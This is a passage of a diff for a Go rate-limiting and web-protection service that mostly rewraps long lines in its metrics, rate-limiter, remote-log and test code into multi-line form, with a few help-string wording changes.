+	)
 
 	return countries
 }
@@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
 // vecs returns the metrics: by AS number, those of requests and bytes; by
 // country, the refusals by the country list as well.
 func (b *busiest) vecs() []*prometheus.CounterVec {
-	vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
+	vecs := []*prometheus.CounterVec{
+		b.requests,
+		b.requestBytes,
+		b.responseBytes,
+	}
 	if b.refused != nil {
 		vecs = append(vecs, b.refused)
 	}

internal/metrics/metrics.go

@@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_requests_in_flight",
 			Help: "Requests under way.",
 		}),
-		requests: counterVec("sww_requests_total",
+		requests: counterVec(
-			"Requests, by the class of their status and their action.", byStatus),
+			"sww_requests_total",
+			"Requests, by the class of their status and their action.",
+			byStatus,
+		),
 		requestBytes: counterVec("sww_request_bytes_total",
 			"Request body bytes, by the class of the status and the action.",
 			byStatus),
-		responseBytes: counterVec("sww_response_bytes_total",
+		responseBytes: counterVec(
+			"sww_response_bytes_total",
 			"Response body bytes, by the class of the status and the action.",
-			byStatus),
+			byStatus,
+		),
 		requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
 			Name: "sww_request_duration_seconds",
 			Help: "How long requests took, from their arrival to their end.",
@@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_upstream_duration_seconds",
 			Help: "How long requests passed to the app took, from then to their end.",
 		}),
-		rateLimitHits: counterVec("sww_rate_limit_hits_total",
+		rateLimitHits: counterVec(
+			"sww_rate_limit_hits_total",
 			"Requests that broke a rate limit, a byte limit or the error burst, by "+
 				"its window and its kind, requests, bytes or refusals.",
-			[]string{"window", "kind"}),
+			[]string{"window", "kind"},
+		),
 		offences: counterVec("sww_offences_total",
 			"Offences, by kind.", []string{"kind"}),
-		coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
+		coreRuleSetMatches: counterVec(
+			"sww_core_rule_set_matches_total",
 			"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
-				"and the rule's id.", []string{"mode", "rule_id"}),
+				"and the rule's id.",
+			[]string{"mode", "rule_id"},
+		),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -114,24 +124,41 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_geojs_failures_total",
 			Help: "Requests to GeoJS that failed.",
 		}),
-		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
+		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
-			Name: "sww_requests_without_geojs_answer_total",
+			prometheus.CounterOpts{
-			Help: "Requests that needed their client's answer from GeoJS and " +
+				Name: "sww_requests_without_geojs_answer_total",
-				"went on without it, because GeoJS had not given it in time.",
+				Help: "Requests that needed their client's answer from GeoJS and " +
-		}),
+					"went on without it, because GeoJS had not given it in time.",
+			},
+		),
 		stateFileWrites: counterVec("sww_state_file_writes_total",
-			"Writes of each state file.", byFile),
+			"Writes of each state or cache file.", byFile),
-		stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
+		stateFileWriteFailures: counterVec(
-			"Writes of each state file that failed.", byFile),
+			"sww_state_file_write_failures_total",
-		stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
+			"Writes of each state or cache file that failed.",
-			"When each state file was last written, in seconds since 1970.", byFile),
+			byFile,
-		stateFileSize: gaugeVec("sww_state_file_size_bytes",
+		),
-			"The size of each state file, as it was last written.", byFile),
+		stateFileLastWrite: gaugeVec(
-		stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
+			"sww_state_file_last_write_timestamp_seconds",
-			"Edits of each state file taken in while running.", byFile),
+			"When each state or cache file was last written, in seconds since 1970.",
-		stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
+			byFile,
-			"Edits of each state file renamed to <name>.bad because they did not parse.",
+		),
-			byFile),
+		stateFileSize: gaugeVec(
+			"sww_state_file_size_bytes",
+			"The size of each state or cache file, as it was last written.",
+			byFile,
+		),
+		stateFileEditsTakenIn: counterVec(
+			"sww_state_file_edits_taken_in_total",
+			"Edits of each state or cache file taken in while running.",
+			byFile,
+		),
+		stateFileEditsSetAside: counterVec(
+			"sww_state_file_edits_set_aside_total",
+			"Edits of each state or cache file renamed to <name>.bad because they "+
+				"did not parse.",
+			byFile,
+		),
 	}
 
 	m.registry.MustRegister(
@@ -160,13 +187,15 @@ func (m *Metrics) AddBansAndClients(
 	for _, cause := range []string{
 		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
 	} {
-		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+		m.registry.MustRegister(
-			Name:        "sww_bans_made_total",
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
-			Help:        "Bans made, by cause.",
+				Name:        "sww_bans_made_total",
-			ConstLabels: prometheus.Labels{"cause": cause},
+				Help:        "Bans made, by cause.",
-		}, func() float64 {
+				ConstLabels: prometheus.Labels{"cause": cause},
-			return float64(ledger.Made(cause))
+			}, func() float64 {
-		}))
+				return float64(ledger.Made(cause))
+			}),
+		)
 	}
 
 	m.registry.MustRegister(
@@ -200,9 +229,11 @@ func (m *Metrics) AddBansAndClients(
 // ruleFiles, read as the metrics are asked for. It is called once, before
 // RuleMatched.
 func (m *Metrics) AddRules(ruleFiles *rules.Files) {
-	m.ruleMatches = counterVec("sww_rule_matches_total",
+	m.ruleMatches = counterVec(
+		"sww_rule_matches_total",
 		"Requests that matched a rule of the rule files, by its id and action.",
-		[]string{"rule_id", "action"})
+		[]string{"rule_id", "action"},
+	)
 
 	m.registry.MustRegister(m.ruleMatches,
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -245,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 // returns, and the replacements of it that could not be read, which
 // readFailures returns. The lookup package's File, which has both, cannot
 // be named here: that package counts GeoJS's requests in these metrics.
-func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
+func (m *Metrics) AddLookupFile(
+	lastRead func() time.Time,
+	readFailures func() int,
+) {
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 			Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -274,24 +308,38 @@ const sourceLabel = "source"
 // metrics are asked for, for a list, the fetches that failed and when the
 // copy in use was fetched, and for a zone, the queries made and those that
 // failed. It is called once, before ReputationHit.
-func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
+func (m *Metrics) AddReputation(
-	m.reputationHits = counterVec("sww_reputation_hits_total",
+	lists *reputation.Lists,
+	dnsbl *reputation.DNSBL,
+) {
+	m.reputationHits = counterVec(
+		"sww_reputation_hits_total",
 		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
 			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
-		[]string{sourceLabel})
+		[]string{sourceLabel},
+	)
 	m.registry.MustRegister(m.reputationHits)
 
 	for _, zone := range dnsbl.Zones() {
 		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
 
-		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
+		m.addReputationQueries(
-		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
+			source,
+			func() int { return dnsbl.Queries(zone) },
+		)
+		m.addReputationFailures(
+			source,
+			func() int { return dnsbl.Failures(zone) },
+		)
 	}
 
 	for _, listURL := range lists.URLs() {
 		source := prometheus.Labels{sourceLabel: listURL}
 
-		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
+		m.addReputationFailures(
+			source,
+			func() int { return lists.Failures(listURL) },
+		)
 		m.registry.MustRegister(
 			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 				Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -393,7 +441,10 @@ func (m *Metrics) RequestStarted() {
 
 // RequestEnded counts a request that has ended without being passed to the app,
 // from its log line. duration is how long the request took.
-func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
+func (m *Metrics) RequestEnded(
+	line *requestlog.Line,
+	duration time.Duration,
+) {
 	m.inFlight.Dec()
 	m.count(line, duration, 0)
 }
@@ -447,8 +498,8 @@ func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
 	m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
 }
 
-// StateFileWritten counts a write of the state file name, of size bytes,
+// StateFileWritten counts a write of the state or cache file name, of size
-// that ended with err.
+// bytes, that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {
 	m.stateFileWrites.WithLabelValues(name).Inc()
 
@@ -466,13 +517,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
 	m.stateFileSize.WithLabelValues(name).Set(float64(size))
 }
 
-// StateFileEditTakenIn counts an admin's edit of the state file name
+// StateFileEditTakenIn counts an admin's edit of the state or cache file name
 // taken in while sww runs.
 func (m *Metrics) StateFileEditTakenIn(name string) {
 	m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
 }
 
-// StateFileEditSetAside counts an admin's edit of the state file name
+// StateFileEditSetAside counts an admin's edit of the state or cache file name
 // renamed to name.bad because it did not parse.
 func (m *Metrics) StateFileEditSetAside(name string) {
 	m.stateFileEditsSetAside.WithLabelValues(name).Inc()
@@ -485,8 +536,10 @@ func (m *Metrics) count(
 ) {
 	class := statusClass(line.Status)
 	m.requests.WithLabelValues(class, line.Action).Inc()
-	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
+	m.requestBytes.WithLabelValues(class, line.Action).
-	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
+		Add(float64(line.RequestBytes))
+	m.responseBytes.WithLabelValues(class, line.Action).
+		Add(float64(line.ResponseBytes))
 	m.requestDuration.Observe(duration.Seconds())
 
 	if upstreamDuration > 0 {
@@ -504,7 +557,10 @@ func (m *Metrics) count(
 
 // addReputationQueries adds the counter of the queries to source, a DNSBL
 // zone, or of the checks of clients with AbuseIPDB, which count tells.
-func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
+func (m *Metrics) addReputationQueries(
+	source prometheus.Labels,
+	count func() int,
+) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name:        "sww_reputation_queries_total",
 		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -517,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
 // addReputationFailures adds the counter of the fetches of source, a
 // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
 // that failed, which count tells.
-func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
+func (m *Metrics) addReputationFailures(
+	source prometheus.Labels,
+	count func() int,
+) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name: "sww_reputation_failures_total",
 		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -544,12 +603,17 @@ func statusClass(status int) string {
 // counterVec returns a counter named name, described by help, with a
 // series for each set of values of labels.
 func counterVec(name, help string, labels []string) *prometheus.CounterVec {
-	return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
+	return prometheus.NewCounterVec(
-		labels)
+		prometheus.CounterOpts{Name: name, Help: help},
+		labels,
+	)
 }
 
 // gaugeVec returns a gauge named name, described by help, with a series
 // for each set of values of labels.
 func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
-	return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
+	return prometheus.NewGaugeVec(
+		prometheus.GaugeOpts{Name: name, Help: help},
+		labels,
+	)
 }

internal/ratelimit/history_test.go

@@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 		// refused.
 		{Status: 404},
 	} {
-		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
+		limiter.AddToHistory(
+			client,
+			start.Add(time.Duration(i)*time.Minute),
+			r,
+		)
 	}
 
 	want := ratelimit.History{
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
 
 	// A later answer replaces it, and one for a client the table does not
 	// hold adds no client.
-	limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
+	limiter.AddLookup(
+		client,
+		start.Add(time.Hour),
+		"AS64497",
+		"Other Net",
+		"FR",
+	)
 	limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
 
 	want := ratelimit.History{
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
 
 	for range limit {
 		wantCount(t, limiter, client, start, "")
-		limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+		limiter.AddToHistory(
+			client,
+			start,
+			ratelimit.Request{Forwarded: true},
+		)
 	}
 
 	limiter.Reset(client)

internal/ratelimit/ratelimit.go

@@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
 	buckets := c.buckets()
 
 	for i, w := range l.windows {
-		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
+		if w.limit > 0 &&
+			buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
 			return true
 		}
 	}
@@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal(
 	defer l.mu.Unlock()
 
 	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
-	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
+	hit := Hit{
+		Kind:   KindRefusals,
+		Window: "minute",
+		Limit:  threshold,
+		Count:  count,
+	}
 
 	return hit, count > float64(threshold)
 }
@@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
 
 // AddToHistory adds r, a request from client at now, to the client's
 // history.
-func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
+func (l *Limiter) AddToHistory(
+	client netip.Prefix,
+	now time.Time,
+	r Request,
+) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -470,7 +480,13 @@ func (l *Limiter) count(
 	for i, w := range l.windows {
 		requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
 		byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
-		limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
+		limit, byteLimit := percentOf(
+			w.limit,
+			percent,
+		), percentOf(
+			w.byteLimit,
+			percent,
+		)
 
 		switch {
 		case hit.Window != "":

internal/ratelimit/ratelimit_test.go

@@ -26,13 +26,17 @@ const (
 	hour   = "hour"
 )
 
-func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
+func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	now := midnight()
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+	limiter := ratelimit.New(
-		tableSize)
+		ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+		tableSize,
+	)
 
 	if limiter.OverARateLimit(client, now) {
 		t.Error("a client never seen is over a rate limit")
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
 
 	for range limit {
 		if limiter.OverARateLimit(client, now) {
-			t.Error("a client with room for another request is over a rate limit")
+			t.Error(
+				"a client with room for another request is over a rate limit",
+			)
 		}
 
 		wantCount(t, limiter, client, now, "")
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
 
 	held, _ := limiter.Client(client)
 	if held.Minute.Current != limit {
-		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
+		t.Errorf(
+			"the client's minute holds %d requests, want %d",
+			held.Minute.Current,
+			limit,
+		)
 	}
 
 	wantCount(t, limiter, client, now, minute)
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 			// A quarter into the next bucket, the window still covers three
 			// quarters of the bucket before, with its four requests: 3 + 1
 			// is over the limit.
-			wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
+			wantCount(
+				t,
+				limiter,
+				client,
+				start.Add(tc.length+quarter),
+				tc.window,
+			)
 
 			// Three quarters into it, a quarter: 1 + 2 is within.
 			wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerHour: limit},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 		Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf("request over the limit gives %+v and %t, want %+v and true",
+		t.Errorf(
-			hit, over, want)
+			"request over the limit gives %+v and %t, want %+v and true",
+			hit,
+			over,
+			want,
+		)
 	}
 }
 
 func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+	limiter := ratelimit.New(
-		tableSize)
+		ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 
 	_, hit, over := limiter.Count(client, start, 50)
 
-	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
+	want := ratelimit.Hit{
+		Kind:   ratelimit.KindRequests,
+		Window: minute,
+		Limit:  2,
+		Count:  3,
+	}
 	if !over || hit != want {
-		t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
+		t.Errorf(
+			"the third request gives %+v and %t, want %+v and true",
+			hit,
+			over,
+			want,
+		)
 	}
 
 	// Half of the largest byte limit is still far above a TiB: working it
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	t.Parallel()
 
 	// Only the hour has limits: the minute's and the day's are off.
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+	limiter := ratelimit.New(
-		tableSize)
+		ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	// hour's limits, which are 0; the minute's, which are off, stay off.
 	_, hit, _ := limiter.Count(client, start, 0)
 
-	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
+	want := ratelimit.Hit{
+		Kind:   ratelimit.KindRequests,
+		Window: hour,
+		Limit:  0,
+		Count:  1,
+	}
 	if hit != want {
 		t.Errorf("the first request gives %+v, want %+v", hit, want)
 	}
 
 	_, hit, _ = limiter.CountBytes(client, start, 1, 0)
 
-	want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
+	want = ratelimit.Hit{
+		Kind:   ratelimit.KindBytes,
+		Window: hour,
+		Limit:  0,
+		Count:  1,
+	}
 	if hit != want {
 		t.Errorf("the first byte gives %+v, want %+v", hit, want)
 	}
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 				t.Fatal("600 bytes are over the limit of 1000")
 			}
 
-			_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
+			_, hit, over := limiter.CountBytes(
+				client,
+				midnight(),
+				600,
+				whole,
+			)
 
 			want := ratelimit.Hit{
 				Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
 			}
 			if !over || hit != want {
-				t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
+				t.Errorf(
+					"1200 bytes give %+v and %t, want %+v and true",
+					hit,
+					over,
+					want,
+				)
 			}
 		})
 	}
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+	limiter := ratelimit.New(
-		tableSize)
+		ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	other := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
-			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
+			t.Fatalf(
+				"a refusal within the threshold of %d broke the error burst",
+				limit,
+			)
 		}
 	}
 
@@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
+		t.Errorf(
-			want)
+			"one over the threshold broke it: %t, with %+v; want %+v",
+			over,
+			hit,
+			want,
+		)
 	}
 
 	// Half a minute into the next, half of those four still count, 2, and
 	// this one: 3, within the threshold.
-	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	hit, over = limiter.CountRefusal(
+		client,
+		start.Add(time.Minute+time.Minute/2),
+		limit,
+	)
 	if over || hit.Count != 3 {
 		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
 			hit.Count, over)
@@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	// A ban sets them back to zero.
 	limiter.Reset(client)
 
-	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	hit, _ = limiter.CountRefusal(
+		client,
+		start.Add(time.Minute+time.Minute/2),
+		limit,
+	)
 	if hit.Count != 1 {
 		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
 	}
@@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 	// hour still covers three quarters of the bucket before, with its three
 	// requests, which count 2.25, and this one: 3.25. The day covers all
 	// four.
-	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
+	counts, _, _ := limiter.Count(
+		client,
+		start.Add(time.Hour+time.Hour/4),
+		whole,
+	)
 
 	want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
 	if counts != want {
@@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 func TestResetSetsTheCountsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerDay: limit},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 func TestRefusedRequestsCount(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+	limiter := ratelimit.New(
-		tableSize)
+		ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+		tableSize,
+	)
 	refused := netip.MustParsePrefix("203.0.113.9/32")
 	within := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	wantCount(t, limiter, clients[maxClients], now, "")
 
 	if limiter.Len() != maxClients {
-		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
+		t.Errorf(
+			"the table holds %d clients, want %d",
+			limiter.Len(),
+			maxClients,
+		)
 	}
 
 	wantCount(t, limiter, clients[1], now, "")
@@ -516,7 +603,10 @@ func midnight() time.Time {
 // wantCount counts a request from client at now, and checks the window
 // whose limit it goes over, "" for none.
 func wantCount(
-	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	t *testing.T,
+	limiter *ratelimit.Limiter,
+	client netip.Prefix,
+	now time.Time,
 	want string,
 ) {
 	t.Helper()
@@ -531,8 +621,12 @@ func wantCount(
 // wantBytesCount counts bytes from client at now, and checks the kind of
 // the limit they break, "" for none.
 func wantBytesCount(
-	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	t *testing.T,
-	bytes int64, want string,
+	limiter *ratelimit.Limiter,
+	client netip.Prefix,
+	now time.Time,
+	bytes int64,
+	want string,
 ) {
 	t.Helper()
 

internal/ratelimit/snapshot_test.go

@@ -12,7 +12,12 @@ import (
 func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 	t.Parallel()
 
-	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
+	want := []string{
+		"192.0.2.1/32",
+		"203.0.113.9/32",
+		"203.0.113.10/32",
+		"2001:db8::/64",
+	}
 
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	for _, i := range []int{2, 3, 0, 1} {
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 
 	counted := ratelimit.Buckets{Start: midnight(), Current: 1}
 	if snapshot[0].Minute != counted || snapshot[0].Day != counted {
-		t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
+		t.Errorf(
-			counted)
+			"buckets %+v and %+v, want %+v",
+			snapshot[0].Minute,
+			snapshot[0].Day,
+			counted,
+		)
 	}
 }
 
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 		t.Errorf("loaded two minutes on as %+v", got)
 	}
 
-	if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
+	if got.MinuteBytes != (ratelimit.Buckets{}) ||
+		got.HourBytes.Current != 5 ||
 		got.DayBytes.Current != 5 {
-		t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+		t.Errorf(
-			got.MinuteBytes, got.HourBytes, got.DayBytes)
+			"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+			got.MinuteBytes,
+			got.HourBytes,
+			got.DayBytes,
+		)
 	}
 
 	if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
 	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
 		got.MinuteRefusals.Current != 1 {
-		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
+		t.Errorf(
-			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
+			"loaded just under two minutes on with minute buckets %+v, %+v "+
+				"and %+v",
+			got.Minute,
+			got.MinuteBytes,
+			got.MinuteRefusals,
+		)
 	}
 }
 

internal/remotelog/remotelog.go

@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
 // and over TCP and TLS after its length in bytes and a space, the
 // octet-counted framing of RFC 6587 and RFC 5425.
 func (s *Sender) record(at string, line []byte) []byte {
-	record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
+	record := make(
+		[]byte,
+		0,
+		len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
+	)
 	record = append(record, s.beforeTime...)
 	record = append(record, at...)
 	record = append(record, s.afterTime...)
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
 // send connects to the endpoint and sends each record as it comes into
 // the buffer, until ctx is done, and returns the connection then open, or
 // nil.
-func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
+func (s *Sender) send(
+	ctx context.Context,
+	processLog *slog.Logger,
+) net.Conn {
 	delay := firstRetryDelay
 
 	for {

internal/remotelog/remotelog_test.go

@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+			t.Context(),
+			"udp",
+			loopback,
+		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+		sender, _, _ := run(
+			t,
+			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
+		)
